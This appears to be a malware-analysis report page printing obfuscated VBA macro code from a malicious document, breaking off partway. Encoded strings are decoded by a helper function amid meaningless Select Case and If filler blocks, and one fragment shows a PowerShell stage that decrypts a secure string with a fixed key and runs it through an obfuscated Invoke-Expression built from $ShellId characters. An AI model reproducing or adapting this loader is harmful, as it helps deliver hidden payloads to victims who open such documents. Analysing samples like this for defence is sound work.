fhCKVL = GKwYR("iNXuIAYQA4AGMANgA5AGIAYwAxAGYAOAA3ADAAYwBlADkANgAwADkAZgBlAGEANwAyADQANgBkADEAZgA1ADMAYgBkADgAYgBkADUAZgAxAGUAMgBlAGUAYQBkADMAOABlAGIANQBkADAAMABkADkAMgA5IwTz", 5, 150)
Select Case KIzhWz
         Case 94570
            RdPKw = Log(34482)
            BKERva = Int(XpQnNu)
            WCuOD = 90660
      End Select
      If SZTsOk Or 94200 Then
         Tkjlf = CLng(zYHKCc)
End If
Select Case rPMrL
         Case 25935
            EapccU = Log(44384)
            vWrjd = Int(wwLGl)
            oQHYHS = 30370
      End Select
      If OwzzHG Or 56884 Then
         DboFF = CLng(WzvCSI)
End If
AvRTjrZaBGT = GKwYR("zTKA5ADUAOAAzADgAOQBjADAAZQBhAGEAZgAyAGEAMwA2ADcANQBjAGMANQBmADMANQA5AGQAZAA2ADMAOABiAGMAOQA3ADEAZABmADkAZQAxADYAZgAxAGMANQA0AGYAYwA2ADAAOAAwAGUAMQA1ADEAOABlADkAZABpsaF1p", 4, 161)
Select Case TAladB
         Case 76493
            QUJEd = Log(86461)
            ZsYXmi = Int(kSfivu)
            cEAHw = 89718
      End Select
      If MYiEpz Or 74573 Then
         iBczY = CLng(DiuWQa)
End If
Select Case wHmSaE
         Case 87683
            UqrdLz = Log(350)
            ONhmaG = Int(BRrBXD)
            tTIamN = 2257
      End Select
      If qtRYJ Or 44582 Then
         ZBwdbF = CLng(ihZpVk)
End If
wfrFEjwSE = GKwYR("qb1c,6YwBjADAAYwA0ADEAZQAxADEAYQBiAGUAMgAyAGEAOQAzADAANwBlADIAMQBmAGYAZgA0ADUAZgBhAGQANQBjADkAOABkADgAYQA5ADAANABjADiu", 7, 110)
Select Case iCVvb
         Case 93623
            VkMnr = Log(4770)
            oVBzO = Int(rqEtb)
            SlaAzr = 31896
      End Select
      If Hqvci Or 50958 Then
         EQkqkC = CLng(tMXsH)
End If
Select Case ctAHha
         Case 53210
            cibRji = Log(95519)
            ujsjv = Int(ZJkSTm)
            jhJbOu = 46696
      End Select
      If RubnzD Or 53647 Then
         tJMDpL = CLng(aLtzTq)
End If
wHwtGnrI = GKwYR("ST-SECurEstRiNG  -ke (186..171)) ) )) | .( $sheLlID[1]+$SheLLid[13]+'x')9@HpT", 3, 70)
Select Case PGpGv
         Case 94135
            pSjZm = Log(55837)
            Rswbzb = Int(IGiAVz)
            QUwEmt = 60825
      End Select
      If wrIiQ Or 7973 Then
         ddDiwJ = CLng(vWVPh)
End If
Select Case cHXovu
         Case 76742
            LYlWf = Log(35375)
            jzpcv = Int(YCVcWa)
            LnWSSQ = 55611
      End Select
      If RhFOws Or 95516 Then
         mqHKF = CLng(ZMspGD)
End If
tfvmdziHAJ = GKwYR("nUANwA4ADcAYgA0AGQAZAAzADkANgAyADcAZQBmAGUAOAA3AGYANAA1ADMAYgBjADEANgBhADQANQAwADEAYgA5ADYANAqOXb", 3, 91)
Select Case BLZTL
         Case 90850
            CSEPp = Log(57076)
            SkOwn = Int(zjlPQW)
            OJZdJ = 49010
      End Select
      If PVjunz Or 49793 Then
         UmrUb = CLng(HcisSc)
End If
Select Case LZlrnm
         Case 73461
            NIvJlC = Log(26650)
            XtUki = Int(VMwiW)
            lPWKq = 63511
      End Select
      If DqOQo Or 99892 Then
         jnIBL = CLng(BztLjz)
End If
ZwZKVaYd = GKwYR("JZE,TABhADgAMAAwADcANgA5ADkAYgBkADAAZgBhAGYAYwA3ADEANgBkADUAMQBlADEAMgA0ADQAZAA4ADIAMwAwAGMAMgBiADQAYgAzADYAMABhAGUAMQBkADMAMwA3ADQAZQA1ADMAMgA5ADQAYQA3ADkAMAA2ADMAYwBjADYAYQAyADQAYgA1ADIANABkZXGW", 6, 187)
Select Case HEYuJP
         Case 30958
            zllSE = Log(60495)
            fIdfk = Int(XhEvT)
            UoWKds = 74932
      End Select
      If zRUGY Or 68940 Then
         jBXiG = CLng(rRkiB)
End If
Select Case MIjFS
         Case 8848
            mzSoR = Log(65277)
            mimLk = Int(rVDSci)
            hGwoi = 11361
      End Select
      If APQkTh Or 10940 Then
         UaAhw = CLng(UCwDiS)
End If
CjzDipMUqWY = GKwYR("aucAOQAwAGEAOAA0AGUAZQAzAGEAYQA0AGMANQA5ADMAMwBjADQAYgA4AGEAOQBhAGYAMwBlADYAZgBmAGIAZgA5AGIAZgA3ADMANAA2ADUAOQBjAGMAYwA2ADIANABiAGUAMwBkAGYANQBlAGQANAAwT@dLc", 3, 150)
Select Case qFOdj
         Case 81659
            jBdKLC = Log(34305)
            SBsDh = Int(BcRvkm)
            EAlwn = 17055
      End Select
      If JBHjq Or 30068 Then
         TwqWvJ = CLng(juLfku)
End If
Select Case VXZfn
         Case 28751
            walaiB = Log(8999)
            wlONl = Int(QZLbzW)
            fiXQBH = 60627
      End Select
      If smMsUX Or 67012 Then
         BcGru = CLng(jQYvcF)
End If
DtAUGRDcPk = GKwYR("zQu..ADEAYgA1ADkAYwAwADgAYgA4ADEANgA3ADAAZAA5ADQAZgBiAGYAYwBhAGEAOQAxAGYAYQAwAGQANwA0ADQAZgBiAGUANgBiADcAZgA1ADkAYQA0AGUANgBjAGQANQ3q", 6, 126)
Select Case ODospT
         Case 91966
            KhuZs = Log(11423)
            BURLhA = Int(wsfsh)
            HrGiaj = 58314
      End Select
      If YAiEnK Or 83012 Then
         LRCrkP = CLng(dQXzE)
End If
Select Case kuzZoG
         Case 7163
            FZaobO = Log(81918)
            WwptV = Int(XNOkmE)
            UWXrSi = 6144
      End Select
      If WBIbN Or 92264 Then
         CNJlo = CLng(SKvANo)
End If
KUriuuEAkJ = GKwYR("jJJfNABiADkAYgA1ADQANQBkADAAMAA3AGUANQBhAGHUI0O", 5, 38)
Select Case mKEUz
         Case 119
            CCzIkn = Log(35049)
            vhSHz = Int(KBbAP)
            BLbqE = 80628
      End Select
      If VLwobN Or 21034 Then
         AQAAB = CLng(ROOiG)
End If
Select Case lcitU
         Case 52355
            jrQmB = Log(34858)
            iRBWQd = Int(LLqNuN)
            kztkmm = 60998
      End Select
      If YZBbqO Or 42146 Then
         SrhbIN = CLng(cLjWa)
End If
FmWPh = GKwYR("NgBkAGIANAA2AGIAMQBlADAAMAAyADgAYQA0ADgAYQAyAGEAMwAyADEAZABkADkAYgBhAGEANgAwADkAZQJzZTU", 2, 81)
Select Case nfZNS
         Case 92087
            XCPfwi = Log(86000)
            UomTpd = Int(WNmhW)
            QYCPFi = 71320
      End Select
      If bNYScK Or 30295 Then
         BiZVtH = CLng(wCknP)
End If
Select Case dpbICP
         Case 44079
            bUloXv = Log(12143)
            LzWPV = Int(SJWbG)
            JhRKb = 27324
      End Select
      If GGtUEj Or 71362 Then
         zsiLB = CLng(isYpW)
End If
LwNNIaoB = GKwYR("E2oQ,dgA0ADQAMgBmADgAMwBhADcAYQA4AGUAYQA5ADMAMgBmAGYAYQA1AGUANwAyAGUAOQA2ADMAMABmADgAYQA5ADIAMQA4AGUANgAxAGYAMQBkADIAMQA4ADkANABlADcANABhAGQANiO", 7, 136)
Select Case NXSmaJ
         Case 26496
            tDaMI = Log(20240)
            RRdSf = Int(rSRnQE)
            bptUFm = 43823
      End Select
      If oHtvWQ Or 59786 Then
         RWCrVR = CLng(uWrrWE)
End If
…

Open this report in the interactive analyzer, or submit your own file for analysis.